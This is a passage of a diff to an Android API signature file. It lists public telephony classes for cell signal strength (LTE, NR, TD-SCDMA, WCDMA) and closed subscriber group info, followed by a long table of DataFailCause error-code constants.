+    method @IntRange(from=android.telephony.CellSignalStrength.SIGNAL_STRENGTH_NONE_OR_UNKNOWN, to=android.telephony.CellSignalStrength.SIGNAL_STRENGTH_GREAT) public int getLevel();
+    method public int getRsrp();
+    method public int getRsrq();
+    method public int getRssi();
+    method public int getRssnr();
+    method public int getTimingAdvance();
+    method public void writeToParcel(android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.telephony.CellSignalStrengthLte> CREATOR;
+  }
+
+  public final class CellSignalStrengthNr extends android.telephony.CellSignalStrength implements android.os.Parcelable {
+    method public int describeContents();
+    method public int getAsuLevel();
+    method @IntRange(from=0, to=15) @NonNull public java.util.List<java.lang.Integer> getCsiCqiReport();
+    method @IntRange(from=1, to=3) public int getCsiCqiTableIndex();
+    method public int getCsiRsrp();
+    method public int getCsiRsrq();
+    method public int getCsiSinr();
+    method public int getDbm();
+    method @IntRange(from=android.telephony.CellSignalStrength.SIGNAL_STRENGTH_NONE_OR_UNKNOWN, to=android.telephony.CellSignalStrength.SIGNAL_STRENGTH_GREAT) public int getLevel();
+    method public int getSsRsrp();
+    method public int getSsRsrq();
+    method public int getSsSinr();
+    method public void writeToParcel(android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.telephony.CellSignalStrengthNr> CREATOR;
+  }
+
+  public final class CellSignalStrengthTdscdma extends android.telephony.CellSignalStrength implements android.os.Parcelable {
+    method public int describeContents();
+    method public int getAsuLevel();
+    method public int getDbm();
+    method @IntRange(from=0, to=4) public int getLevel();
+    method public int getRscp();
+    method public void writeToParcel(android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.telephony.CellSignalStrengthTdscdma> CREATOR;
+  }
+
+  public final class CellSignalStrengthWcdma extends android.telephony.CellSignalStrength implements android.os.Parcelable {
+    method public int describeContents();
+    method public int getAsuLevel();
+    method public int getDbm();
+    method public int getEcNo();
+    method @IntRange(from=android.telephony.CellSignalStrength.SIGNAL_STRENGTH_NONE_OR_UNKNOWN, to=android.telephony.CellSignalStrength.SIGNAL_STRENGTH_GREAT) public int getLevel();
+    method public void writeToParcel(android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.telephony.CellSignalStrengthWcdma> CREATOR;
+  }
+
+  public final class ClosedSubscriberGroupInfo implements android.os.Parcelable {
+    method public int describeContents();
+    method @IntRange(from=0, to=134217727) public int getCsgIdentity();
+    method public boolean getCsgIndicator();
+    method @NonNull public String getHomeNodebName();
+    method public void writeToParcel(@NonNull android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.telephony.ClosedSubscriberGroupInfo> CREATOR;
+  }
+
+  public final class DataFailCause {
+    field public static final int ACCESS_ATTEMPT_ALREADY_IN_PROGRESS = 2219; // 0x8ab
+    field public static final int ACCESS_BLOCK = 2087; // 0x827
+    field public static final int ACCESS_BLOCK_ALL = 2088; // 0x828
+    field public static final int ACCESS_CLASS_DSAC_REJECTION = 2108; // 0x83c
+    field public static final int ACCESS_CONTROL_LIST_CHECK_FAILURE = 2128; // 0x850
+    field public static final int ACTIVATION_REJECTED_BCM_VIOLATION = 48; // 0x30
+    field public static final int ACTIVATION_REJECT_GGSN = 30; // 0x1e
+    field public static final int ACTIVATION_REJECT_UNSPECIFIED = 31; // 0x1f
+    field public static final int ACTIVE_PDP_CONTEXT_MAX_NUMBER_REACHED = 65; // 0x41
+    field public static final int ALL_MATCHING_RULES_FAILED = 2254; // 0x8ce
+    field public static final int APN_DISABLED = 2045; // 0x7fd
+    field public static final int APN_DISALLOWED_ON_ROAMING = 2059; // 0x80b
+    field public static final int APN_MISMATCH = 2054; // 0x806
+    field public static final int APN_PARAMETERS_CHANGED = 2060; // 0x80c
+    field public static final int APN_PENDING_HANDOVER = 2041; // 0x7f9
+    field public static final int APN_TYPE_CONFLICT = 112; // 0x70
+    field public static final int AUTH_FAILURE_ON_EMERGENCY_CALL = 122; // 0x7a
+    field public static final int BEARER_HANDLING_NOT_SUPPORTED = 60; // 0x3c
+    field public static final int CALL_DISALLOWED_IN_ROAMING = 2068; // 0x814
+    field public static final int CALL_PREEMPT_BY_EMERGENCY_APN = 127; // 0x7f
+    field public static final int CANNOT_ENCODE_OTA_MESSAGE = 2159; // 0x86f
+    field public static final int CDMA_ALERT_STOP = 2077; // 0x81d
+    field public static final int CDMA_INCOMING_CALL = 2076; // 0x81c
+    field public static final int CDMA_INTERCEPT = 2073; // 0x819
+    field public static final int CDMA_LOCK = 2072; // 0x818
+    field public static final int CDMA_RELEASE_DUE_TO_SO_REJECTION = 2075; // 0x81b
+    field public static final int CDMA_REORDER = 2074; // 0x81a
+    field public static final int CDMA_RETRY_ORDER = 2086; // 0x826
+    field public static final int CHANNEL_ACQUISITION_FAILURE = 2078; // 0x81e
+    field public static final int CLOSE_IN_PROGRESS = 2030; // 0x7ee
+    field public static final int COLLISION_WITH_NETWORK_INITIATED_REQUEST = 56; // 0x38
+    field public static final int COMPANION_IFACE_IN_USE = 118; // 0x76
+    field public static final int CONCURRENT_SERVICES_INCOMPATIBLE = 2083; // 0x823
+    field public static final int CONCURRENT_SERVICES_NOT_ALLOWED = 2091; // 0x82b
+    field public static final int CONCURRENT_SERVICE_NOT_SUPPORTED_BY_BASE_STATION = 2080; // 0x820
+    field public static final int CONDITIONAL_IE_ERROR = 100; // 0x64
+    field public static final int CONGESTION = 2106; // 0x83a
+    field public static final int CONNECTION_RELEASED = 2113; // 0x841
+    field public static final int CS_DOMAIN_NOT_AVAILABLE = 2181; // 0x885
+    field public static final int CS_FALLBACK_CALL_ESTABLISHMENT_NOT_ALLOWED = 2188; // 0x88c
+    field public static final int DATA_PLAN_EXPIRED = 2198; // 0x896
+    field public static final int DATA_ROAMING_SETTINGS_DISABLED = 2064; // 0x810
+    field public static final int DATA_SETTINGS_DISABLED = 2063; // 0x80f
+    field public static final int DBM_OR_SMS_IN_PROGRESS = 2211; // 0x8a3
+    field public static final int DDS_SWITCHED = 2065; // 0x811
+    field public static final int DDS_SWITCH_IN_PROGRESS = 2067; // 0x813
+    field public static final int DRB_RELEASED_BY_RRC = 2112; // 0x840
+    field public static final int DS_EXPLICIT_DEACTIVATION = 2125; // 0x84d
+    field public static final int DUAL_SWITCH = 2227; // 0x8b3
+    field public static final int DUN_CALL_DISALLOWED = 2056; // 0x808
+    field public static final int DUPLICATE_BEARER_ID = 2118; // 0x846
+    field public static final int EHRPD_TO_HRPD_FALLBACK = 2049; // 0x801
+    field public static final int EMBMS_NOT_ENABLED = 2193; // 0x891
+    field public static final int EMBMS_REGULAR_DEACTIVATION = 2195; // 0x893
+    field public static final int EMERGENCY_IFACE_ONLY = 116; // 0x74
+    field public static final int EMERGENCY_MODE = 2221; // 0x8ad
+    field public static final int EMM_ACCESS_BARRED = 115; // 0x73
+    field public static final int EMM_ACCESS_BARRED_INFINITE_RETRY = 121; // 0x79
+    field public static final int EMM_ATTACH_FAILED = 2115; // 0x843
+    field public static final int EMM_ATTACH_STARTED = 2116; // 0x844
+    field public static final int EMM_DETACHED = 2114; // 0x842
+    field public static final int EMM_T3417_EXPIRED = 2130; // 0x852
+    field public static final int EMM_T3417_EXT_EXPIRED = 2131; // 0x853
+    field public static final int EPS_SERVICES_AND_NON_EPS_SERVICES_NOT_ALLOWED = 2178; // 0x882
+    field public static final int EPS_SERVICES_NOT_ALLOWED_IN_PLMN = 2179; // 0x883
+    field public static final int ERROR_UNSPECIFIED = 65535; // 0xffff
+    field public static final int ESM_BAD_OTA_MESSAGE = 2122; // 0x84a
+    field public static final int ESM_BEARER_DEACTIVATED_TO_SYNC_WITH_NETWORK = 2120; // 0x848
+    field public static final int ESM_COLLISION_SCENARIOS = 2119; // 0x847
+    field public static final int ESM_CONTEXT_TRANSFERRED_DUE_TO_IRAT = 2124; // 0x84c
+    field public static final int ESM_DOWNLOAD_SERVER_REJECTED_THE_CALL = 2123; // 0x84b
+    field public static final int ESM_FAILURE = 2182; // 0x886
+    field public static final int ESM_INFO_NOT_RECEIVED = 53; // 0x35
+    field public static final int ESM_LOCAL_CAUSE_NONE = 2126; // 0x84e
+    field public static final int ESM_NW_ACTIVATED_DED_BEARER_WITH_ID_OF_DEF_BEARER = 2121; // 0x849
+    field public static final int ESM_PROCEDURE_TIME_OUT = 2155; // 0x86b
+    field public static final int ESM_UNKNOWN_EPS_BEARER_CONTEXT = 2111; // 0x83f
+    field public static final int EVDO_CONNECTION_DENY_BY_BILLING_OR_AUTHENTICATION_FAILURE = 2201; // 0x899
+    field public static final int EVDO_CONNECTION_DENY_BY_GENERAL_OR_NETWORK_BUSY = 2200; // 0x898
+    field public static final int EVDO_HDR_CHANGED = 2202; // 0x89a
+    field public static final int EVDO_HDR_CONNECTION_SETUP_TIMEOUT = 2206; // 0x89e
+    field public static final int EVDO_HDR_EXITED = 2203; // 0x89b
+    field public static final int EVDO_HDR_NO_SESSION = 2204; // 0x89c
+    field public static final int EVDO_USING_GPS_FIX_INSTEAD_OF_HDR_CALL = 2205; // 0x89d
+    field public static final int FADE = 2217; // 0x8a9
+    field public static final int FAILED_TO_ACQUIRE_COLOCATED_HDR = 2207; // 0x89f
+    field public static final int FEATURE_NOT_SUPP = 40; // 0x28
+    field public static final int FILTER_SEMANTIC_ERROR = 44; // 0x2c
+    field public static final int FILTER_SYTAX_ERROR = 45; // 0x2d
+    field public static final int FORBIDDEN_APN_NAME = 2066; // 0x812
+    field public static final int GPRS_REGISTRATION_FAIL = -2; // 0xfffffffe
+    field public static final int GPRS_SERVICES_AND_NON_GPRS_SERVICES_NOT_ALLOWED = 2097; // 0x831
+    field public static final int GPRS_SERVICES_NOT_ALLOWED = 2098; // 0x832
+    field public static final int GPRS_SERVICES_NOT_ALLOWED_IN_THIS_PLMN = 2103; // 0x837
+    field public static final int HANDOFF_PREFERENCE_CHANGED = 2251; // 0x8cb
+    field public static final int HDR_ACCESS_FAILURE = 2213; // 0x8a5
+    field public static final int HDR_FADE = 2212; // 0x8a4
+    field public static final int HDR_NO_LOCK_GRANTED = 2210; // 0x8a2
+    field public static final int IFACE_AND_POL_FAMILY_MISMATCH = 120; // 0x78
+    field public static final int IFACE_MISMATCH = 117; // 0x75
+    field public static final int ILLEGAL_ME = 2096; // 0x830
+    field public static final int ILLEGAL_MS = 2095; // 0x82f
+    field public static final int IMEI_NOT_ACCEPTED = 2177; // 0x881
+    field public static final int IMPLICITLY_DETACHED = 2100; // 0x834
+    field public static final int IMSI_UNKNOWN_IN_HOME_SUBSCRIBER_SERVER = 2176; // 0x880
+    field public static final int INCOMING_CALL_REJECTED = 2092; // 0x82c
+    field public static final int INSUFFICIENT_RESOURCES = 26; // 0x1a
+    field public static final int INTERFACE_IN_USE = 2058; // 0x80a
+    field public static final int INTERNAL_CALL_PREEMPT_BY_HIGH_PRIO_APN = 114; // 0x72
+    field public static final int INTERNAL_EPC_NONEPC_TRANSITION = 2057; // 0x809
+    field public static final int INVALID_CONNECTION_ID = 2156; // 0x86c
+    field public static final int INVALID_DNS_ADDR = 123; // 0x7b
+    field public static final int INVALID_EMM_STATE = 2190; // 0x88e
+    field public static final int INVALID_MANDATORY_INFO = 96; // 0x60
+    field public static final int INVALID_MODE = 2223; // 0x8af
+    field public static final int INVALID_PCSCF_ADDR = 113; // 0x71
+    field public static final int INVALID_PCSCF_OR_DNS_ADDRESS = 124; // 0x7c
+    field public static final int INVALID_PRIMARY_NSAPI = 2158; // 0x86e
+    field public static final int INVALID_SIM_STATE = 2224; // 0x8b0
+    field public static final int INVALID_TRANSACTION_ID = 81; // 0x51
+    field public static final int IPV6_ADDRESS_TRANSFER_FAILED = 2047; // 0x7ff
+    field public static final int IPV6_PREFIX_UNAVAILABLE = 2250; // 0x8ca
+    field public static final int IP_ADDRESS_MISMATCH = 119; // 0x77
+    field public static final int IP_VERSION_MISMATCH = 2055; // 0x807
+    field public static final int IRAT_HANDOVER_FAILED = 2194; // 0x892
+    field public static final int IS707B_MAX_ACCESS_PROBES = 2089; // 0x829
+    field public static final int IWLAN_AUTHORIZATION_REJECTED = 9003; // 0x232b
+    field public static final int IWLAN_DNS_RESOLUTION_NAME_FAILURE = 16388; // 0x4004
+    field public static final int IWLAN_DNS_RESOLUTION_TIMEOUT = 16389; // 0x4005
+    field public static final int IWLAN_IKEV2_AUTH_FAILURE = 16385; // 0x4001
+    field public static final int IWLAN_IKEV2_CERT_INVALID = 16387; // 0x4003
+    field public static final int IWLAN_IKEV2_CONFIG_FAILURE = 16384; // 0x4000
+    field public static final int IWLAN_IKEV2_MSG_TIMEOUT = 16386; // 0x4002
+    field public static final int IWLAN_ILLEGAL_ME = 9006; // 0x232e
+    field public static final int IWLAN_IMEI_NOT_ACCEPTED = 11005; // 0x2afd
+    field public static final int IWLAN_MAX_CONNECTION_REACHED = 8193; // 0x2001
+    field public static final int IWLAN_NETWORK_FAILURE = 10500; // 0x2904
+    field public static final int IWLAN_NON_3GPP_ACCESS_TO_EPC_NOT_ALLOWED = 9000; // 0x2328
+    field public static final int IWLAN_NO_APN_SUBSCRIPTION = 9002; // 0x232a
+    field public static final int IWLAN_PDN_CONNECTION_REJECTION = 8192; // 0x2000
+    field public static final int IWLAN_PLMN_NOT_ALLOWED = 11011; // 0x2b03
+    field public static final int IWLAN_RAT_TYPE_NOT_ALLOWED = 11001; // 0x2af9
+    field public static final int IWLAN_SEMANTIC_ERRORS_IN_PACKET_FILTERS = 8244; // 0x2034
+    field public static final int IWLAN_SEMANTIC_ERROR_IN_THE_TFT_OPERATION = 8241; // 0x2031
+    field public static final int IWLAN_SYNTACTICAL_ERRORS_IN_PACKET_FILTERS = 8245; // 0x2035
+    field public static final int IWLAN_SYNTACTICAL_ERROR_IN_THE_TFT_OPERATION = 8242; // 0x2032
+    field public static final int IWLAN_UNAUTHENTICATED_EMERGENCY_NOT_SUPPORTED = 11055; // 0x2b2f
+    field public static final int IWLAN_USER_UNKNOWN = 9001; // 0x2329
+    field public static final int LIMITED_TO_IPV4 = 2234; // 0x8ba
+    field public static final int LIMITED_TO_IPV6 = 2235; // 0x8bb
+    field public static final int LLC_SNDCP = 25; // 0x19
+    field public static final int LOCAL_END = 2215; // 0x8a7
+    field public static final int LOCATION_AREA_NOT_ALLOWED = 2102; // 0x836
+    field public static final int LOST_CONNECTION = 65540; // 0x10004
+    field public static final int LOWER_LAYER_REGISTRATION_FAILURE = 2197; // 0x895
+    field public static final int LOW_POWER_MODE_OR_POWERING_DOWN = 2044; // 0x7fc
+    field public static final int LTE_NAS_SERVICE_REQUEST_FAILED = 2117; // 0x845
+    field public static final int LTE_THROTTLING_NOT_REQUIRED = 2127; // 0x84f
+    field public static final int MAC_FAILURE = 2183; // 0x887
+    field public static final int MATCH_ALL_RULE_NOT_ALLOWED = 2253; // 0x8cd
+    field public static final int MAXIMIUM_NSAPIS_EXCEEDED = 2157; // 0x86d
+    field public static final int MAXINUM_SIZE_OF_L2_MESSAGE_EXCEEDED = 2166; // 0x876
+    field public static final int MAX_ACCESS_PROBE = 2079; // 0x81f
+    field public static final int MAX_IPV4_CONNECTIONS = 2052; // 0x804
+    field public static final int MAX_IPV6_CONNECTIONS = 2053; // 0x805
+    field public static final int MAX_PPP_INACTIVITY_TIMER_EXPIRED = 2046; // 0x7fe
+    field public static final int MESSAGE_INCORRECT_SEMANTIC = 95; // 0x5f
+    field public static final int MESSAGE_TYPE_UNSUPPORTED = 97; // 0x61
+    field public static final int MIP_CONFIG_FAILURE = 2050; // 0x802
+    field public static final int MIP_FA_ADMIN_PROHIBITED = 2001; // 0x7d1
+    field public static final int MIP_FA_DELIVERY_STYLE_NOT_SUPPORTED = 2012; // 0x7dc
+    field public static final int MIP_FA_ENCAPSULATION_UNAVAILABLE = 2008; // 0x7d8
+    field public static final int MIP_FA_HOME_AGENT_AUTHENTICATION_FAILURE = 2004; // 0x7d4
+    field public static final int MIP_FA_INSUFFICIENT_RESOURCES = 2002; // 0x7d2
+    field public static final int MIP_FA_MALFORMED_REPLY = 2007; // 0x7d7
+    field public static final int MIP_FA_MALFORMED_REQUEST = 2006; // 0x7d6
+    field public static final int MIP_FA_MISSING_CHALLENGE = 2017; // 0x7e1
+    field public static final int MIP_FA_MISSING_HOME_ADDRESS = 2015; // 0x7df
+    field public static final int MIP_FA_MISSING_HOME_AGENT = 2014; // 0x7de
+    field public static final int MIP_FA_MISSING_NAI = 2013; // 0x7dd
+    field public static final int MIP_FA_MOBILE_NODE_AUTHENTICATION_FAILURE = 2003; // 0x7d3
+    field public static final int MIP_FA_REASON_UNSPECIFIED = 2000; // 0x7d0
+    field public static final int MIP_FA_REQUESTED_LIFETIME_TOO_LONG = 2005; // 0x7d5
+    field public static final int MIP_FA_REVERSE_TUNNEL_IS_MANDATORY = 2011; // 0x7db
+    field public static final int MIP_FA_REVERSE_TUNNEL_UNAVAILABLE = 2010; // 0x7da
+    field public static final int MIP_FA_STALE_CHALLENGE = 2018; // 0x7e2
+    field public static final int MIP_FA_UNKNOWN_CHALLENGE = 2016; // 0x7e0
+    field public static final int MIP_FA_VJ_HEADER_COMPRESSION_UNAVAILABLE = 2009; // 0x7d9
+    field public static final int MIP_HA_ADMIN_PROHIBITED = 2020; // 0x7e4
+    field public static final int MIP_HA_ENCAPSULATION_UNAVAILABLE = 2029; // 0x7ed
+    field public static final int MIP_HA_FOREIGN_AGENT_AUTHENTICATION_FAILURE = 2023; // 0x7e7
+    field public static final int MIP_HA_INSUFFICIENT_RESOURCES = 2021; // 0x7e5
+    field public static final int MIP_HA_MALFORMED_REQUEST = 2025; // 0x7e9
+    field public static final int MIP_HA_MOBILE_NODE_AUTHENTICATION_FAILURE = 2022; // 0x7e6
+    field public static final int MIP_HA_REASON_UNSPECIFIED = 2019; // 0x7e3
+    field public static final int MIP_HA_REGISTRATION_ID_MISMATCH = 2024; // 0x7e8
+    field public static final int MIP_HA_REVERSE_TUNNEL_IS_MANDATORY = 2028; // 0x7ec
+    field public static final int MIP_HA_REVERSE_TUNNEL_UNAVAILABLE = 2027; // 0x7eb
+    field public static final int MIP_HA_UNKNOWN_HOME_AGENT_ADDRESS = 2026; // 0x7ea
+    field public static final int MISSING_UNKNOWN_APN = 27; // 0x1b
+    field public static final int MODEM_APP_PREEMPTED = 2032; // 0x7f0
+    field public static final int MODEM_RESTART = 2037; // 0x7f5
+    field public static final int MSC_TEMPORARILY_NOT_REACHABLE = 2180; // 0x884
+    field public static final int MSG_AND_PROTOCOL_STATE_UNCOMPATIBLE = 101; // 0x65
+    field public static final int MSG_TYPE_NONCOMPATIBLE_STATE = 98; // 0x62
+    field public static final int MS_IDENTITY_CANNOT_BE_DERIVED_BY_THE_NETWORK = 2099; // 0x833
+    field public static final int MULTIPLE_PDP_CALL_NOT_ALLOWED = 2192; // 0x890
+    field public static final int MULTI_CONN_TO_SAME_PDN_NOT_ALLOWED = 55; // 0x37
+    field public static final int NAS_LAYER_FAILURE = 2191; // 0x88f
+    field public static final int NAS_REQUEST_REJECTED_BY_NETWORK = 2167; // 0x877
+    field public static final int NAS_SIGNALLING = 14; // 0xe
+    field public static final int NETWORK_FAILURE = 38; // 0x26
+    field public static final int NETWORK_INITIATED_DETACH_NO_AUTO_REATTACH = 2154; // 0x86a
+    field public static final int NETWORK_INITIATED_DETACH_WITH_AUTO_REATTACH = 2153; // 0x869
+    field public static final int NETWORK_INITIATED_TERMINATION = 2031; // 0x7ef
+    field public static final int NONE = 0; // 0x0
+    field public static final int NON_IP_NOT_SUPPORTED = 2069; // 0x815
+    field public static final int NORMAL_RELEASE = 2218; // 0x8aa
+    field public static final int NO_CDMA_SERVICE = 2084; // 0x824
+    field public static final int NO_COLLOCATED_HDR = 2225; // 0x8b1
+    field public static final int NO_EPS_BEARER_CONTEXT_ACTIVATED = 2189; // 0x88d
+    field public static final int NO_GPRS_CONTEXT = 2094; // 0x82e
+    field public static final int NO_HYBRID_HDR_SERVICE = 2209; // 0x8a1
+    field public static final int NO_PDP_CONTEXT_ACTIVATED = 2107; // 0x83b
+    field public static final int NO_RESPONSE_FROM_BASE_STATION = 2081; // 0x821
+    field public static final int NO_SERVICE = 2216; // 0x8a8
+    field public static final int NO_SERVICE_ON_GATEWAY = 2093; // 0x82d
+    field public static final int NSAPI_IN_USE = 35; // 0x23
+    field public static final int NULL_APN_DISALLOWED = 2061; // 0x80d
+    field public static final int OEM_DCFAILCAUSE_1 = 4097; // 0x1001
+    field public static final int OEM_DCFAILCAUSE_10 = 4106; // 0x100a
+    field public static final int OEM_DCFAILCAUSE_11 = 4107; // 0x100b
+    field public static final int OEM_DCFAILCAUSE_12 = 4108; // 0x100c
+    field public static final int OEM_DCFAILCAUSE_13 = 4109; // 0x100d
+    field public static final int OEM_DCFAILCAUSE_14 = 4110; // 0x100e
+    field public static final int OEM_DCFAILCAUSE_15 = 4111; // 0x100f
+    field public static final int OEM_DCFAILCAUSE_2 = 4098; // 0x1002
+    field public static final int OEM_DCFAILCAUSE_3 = 4099; // 0x1003
+    field public static final int OEM_DCFAILCAUSE_4 = 4100; // 0x1004
+    field public static final int OEM_DCFAILCAUSE_5 = 4101; // 0x1005
+    field public static final int OEM_DCFAILCAUSE_6 = 4102; // 0x1006
+    field public static final int OEM_DCFAILCAUSE_7 = 4103; // 0x1007
+    field public static final int OEM_DCFAILCAUSE_8 = 4104; // 0x1008
+    field public static final int OEM_DCFAILCAUSE_9 = 4105; // 0x1009
+    field public static final int ONLY_IPV4V6_ALLOWED = 57; // 0x39
+    field public static final int ONLY_IPV4_ALLOWED = 50; // 0x32
+    field public static final int ONLY_IPV6_ALLOWED = 51; // 0x33
+    field public static final int ONLY_NON_IP_ALLOWED = 58; // 0x3a
+    field public static final int ONLY_SINGLE_BEARER_ALLOWED = 52; // 0x34
+    field public static final int OPERATOR_BARRED = 8; // 0x8
+    field public static final int OTASP_COMMIT_IN_PROGRESS = 2208; // 0x8a0
+    field public static final int PDN_CONN_DOES_NOT_EXIST = 54; // 0x36
+    field public static final int PDN_INACTIVITY_TIMER_EXPIRED = 2051; // 0x803
+    field public static final int PDN_IPV4_CALL_DISALLOWED = 2033; // 0x7f1
+    field public static final int PDN_IPV4_CALL_THROTTLED = 2034; // 0x7f2
+    field public static final int PDN_IPV6_CALL_DISALLOWED = 2035; // 0x7f3
+    field public static final int PDN_IPV6_CALL_THROTTLED = 2036; // 0x7f4
+    field public static final int PDN_NON_IP_CALL_DISALLOWED = 2071; // 0x817
+    field public static final int PDN_NON_IP_CALL_THROTTLED = 2070; // 0x816
+    field public static final int PDP_ACTIVATE_MAX_RETRY_FAILED = 2109; // 0x83d
+    field public static final int PDP_DUPLICATE = 2104; // 0x838
+    field public static final int PDP_ESTABLISH_TIMEOUT_EXPIRED = 2161; // 0x871
+    field public static final int PDP_INACTIVE_TIMEOUT_EXPIRED = 2163; // 0x873
+    field public static final int PDP_LOWERLAYER_ERROR = 2164; // 0x874
+    field public static final int PDP_MODIFY_COLLISION = 2165; // 0x875
+    field public static final int PDP_MODIFY_TIMEOUT_EXPIRED = 2162; // 0x872
+    field public static final int PDP_PPP_NOT_SUPPORTED = 2038; // 0x7f6
+    field public static final int PDP_WITHOUT_ACTIVE_TFT = 46; // 0x2e
+    field public static final int PHONE_IN_USE = 2222; // 0x8ae
+    field public static final int PHYSICAL_LINK_CLOSE_IN_PROGRESS = 2040; // 0x7f8
+    field public static final int PLMN_NOT_ALLOWED = 2101; // 0x835
+    field public static final int PPP_AUTH_FAILURE = 2229; // 0x8b5
+    field public static final int PPP_CHAP_FAILURE = 2232; // 0x8b8
+    field public static final int PPP_CLOSE_IN_PROGRESS = 2233; // 0x8b9
+    field public static final int PPP_OPTION_MISMATCH = 2230; // 0x8b6
+    field public static final int PPP_PAP_FAILURE = 2231; // 0x8b7
+    field public static final int PPP_TIMEOUT = 2228; // 0x8b4
+    field public static final int PREF_RADIO_TECH_CHANGED = -4; // 0xfffffffc
+    field public static final int PROFILE_BEARER_INCOMPATIBLE = 2042; // 0x7fa
+    field public static final int PROTOCOL_ERRORS = 111; // 0x6f
+    field public static final int QOS_NOT_ACCEPTED = 37; // 0x25
+    field public static final int RADIO_ACCESS_BEARER_FAILURE = 2110; // 0x83e
+    field public static final int RADIO_ACCESS_BEARER_SETUP_FAILURE = 2160; // 0x870
+    field public static final int RADIO_NOT_AVAILABLE = 65537; // 0x10001
+    field public static final int RADIO_POWER_OFF = -5; // 0xfffffffb
+    field public static final int REDIRECTION_OR_HANDOFF_IN_PROGRESS = 2220; // 0x8ac
+    field public static final int REGISTRATION_FAIL = -1; // 0xffffffff
+    field public static final int REGULAR_DEACTIVATION = 36; // 0x24
+    field public static final int REJECTED_BY_BASE_STATION = 2082; // 0x822
+    field public static final int RRC_CONNECTION_ABORTED_AFTER_HANDOVER = 2173; // 0x87d
+    field public static final int RRC_CONNECTION_ABORTED_AFTER_IRAT_CELL_CHANGE = 2174; // 0x87e
+    field public static final int RRC_CONNECTION_ABORTED_DUE_TO_IRAT_CHANGE = 2171; // 0x87b
+    field public static final int RRC_CONNECTION_ABORTED_DURING_IRAT_CELL_CHANGE = 2175; // 0x87f
+    field public static final int RRC_CONNECTION_ABORT_REQUEST = 2151; // 0x867
+    field public static final int RRC_CONNECTION_ACCESS_BARRED = 2139; // 0x85b
+    field public static final int RRC_CONNECTION_ACCESS_STRATUM_FAILURE = 2137; // 0x859
+    field public static final int RRC_CONNECTION_ANOTHER_PROCEDURE_IN_PROGRESS = 2138; // 0x85a
+    field public static final int RRC_CONNECTION_CELL_NOT_CAMPED = 2144; // 0x860
+    field public static final int RRC_CONNECTION_CELL_RESELECTION = 2140; // 0x85c
+    field public static final int RRC_CONNECTION_CONFIG_FAILURE = 2141; // 0x85d
+    field public static final int RRC_CONNECTION_INVALID_REQUEST = 2168; // 0x878
+    field public static final int RRC_CONNECTION_LINK_FAILURE = 2143; // 0x85f
+    field public static final int RRC_CONNECTION_NORMAL_RELEASE = 2147; // 0x863
+    field public static final int RRC_CONNECTION_OUT_OF_SERVICE_DURING_CELL_REGISTER = 2150; // 0x866
+    field public static final int RRC_CONNECTION_RADIO_LINK_FAILURE = 2148; // 0x864
+    field public static final int RRC_CONNECTION_REESTABLISHMENT_FAILURE = 2149; // 0x865
+    field public static final int RRC_CONNECTION_REJECT_BY_NETWORK = 2146; // 0x862
+    field public static final int RRC_CONNECTION_RELEASED_SECURITY_NOT_ACTIVE = 2172; // 0x87c
+    field public static final int RRC_CONNECTION_RF_UNAVAILABLE = 2170; // 0x87a
+    field public static final int RRC_CONNECTION_SYSTEM_INFORMATION_BLOCK_READ_ERROR = 2152; // 0x868
+    field public static final int RRC_CONNECTION_SYSTEM_INTERVAL_FAILURE = 2145; // 0x861
+    field public static final int RRC_CONNECTION_TIMER_EXPIRED = 2142; // 0x85e
+    field public static final int RRC_CONNECTION_TRACKING_AREA_ID_CHANGED = 2169; // 0x879
+    field public static final int RRC_UPLINK_CONNECTION_RELEASE = 2134; // 0x856
+    field public static final int RRC_UPLINK_DATA_TRANSMISSION_FAILURE = 2132; // 0x854
+    field public static final int RRC_UPLINK_DELIVERY_FAILED_DUE_TO_HANDOVER = 2133; // 0x855
+    field public static final int RRC_UPLINK_ERROR_REQUEST_FROM_NAS = 2136; // 0x858
+    field public static final int RRC_UPLINK_RADIO_LINK_FAILURE = 2135; // 0x857
+    field public static final int RUIM_NOT_PRESENT = 2085; // 0x825
+    field public static final int SECURITY_MODE_REJECTED = 2186; // 0x88a
+    field public static final int SERVICE_NOT_ALLOWED_ON_PLMN = 2129; // 0x851
+    field public static final int SERVICE_OPTION_NOT_SUBSCRIBED = 33; // 0x21
+    field public static final int SERVICE_OPTION_NOT_SUPPORTED = 32; // 0x20
+    field public static final int SERVICE_OPTION_OUT_OF_ORDER = 34; // 0x22
+    field public static final int SIGNAL_LOST = -3; // 0xfffffffd
+    field public static final int SIM_CARD_CHANGED = 2043; // 0x7fb
+    field public static final int SLICE_REJECTED = 2252; // 0x8cc
+    field public static final int SYNCHRONIZATION_FAILURE = 2184; // 0x888
+    field public static final int TEST_LOOPBACK_REGULAR_DEACTIVATION = 2196; // 0x894
+    field public static final int TETHERED_CALL_ACTIVE = -6; // 0xfffffffa
+    field public static final int TFT_SEMANTIC_ERROR = 41; // 0x29
+    field public static final int TFT_SYTAX_ERROR = 42; // 0x2a
+    field public static final int THERMAL_EMERGENCY = 2090; // 0x82a
+    field public static final int THERMAL_MITIGATION = 2062; // 0x80e
+    field public static final int TRAT_SWAP_FAILED = 2048; // 0x800
+    field public static final int UE_INITIATED_DETACH_OR_DISCONNECT = 128; // 0x80
+    field public static final int UE_IS_ENTERING_POWERSAVE_MODE = 2226; // 0x8b2
+    field public static final int UE_RAT_CHANGE = 2105; // 0x839
+    field public static final int UE_SECURITY_CAPABILITIES_MISMATCH = 2185; // 0x889
+    field public static final int UMTS_HANDOVER_TO_IWLAN = 2199; // 0x897
+    field public static final int UMTS_REACTIVATION_REQ = 39; // 0x27
+    field public static final int UNACCEPTABLE_NETWORK_PARAMETER = 65538; // 0x10002
+    field public static final int UNACCEPTABLE_NON_EPS_AUTHENTICATION = 2187; // 0x88b
+    field public static final int UNKNOWN = 65536; // 0x10000
+    field public static final int UNKNOWN_INFO_ELEMENT = 99; // 0x63
+    field public static final int UNKNOWN_PDP_ADDRESS_TYPE = 28; // 0x1c
+    field public static final int UNKNOWN_PDP_CONTEXT = 43; // 0x2b
+    field public static final int UNPREFERRED_RAT = 2039; // 0x7f7
+    field public static final int UNSUPPORTED_1X_PREV = 2214; // 0x8a6
+    field public static final int UNSUPPORTED_APN_IN_CURRENT_PLMN = 66; // 0x42
+    field public static final int UNSUPPORTED_QCI_VALUE = 59; // 0x3b
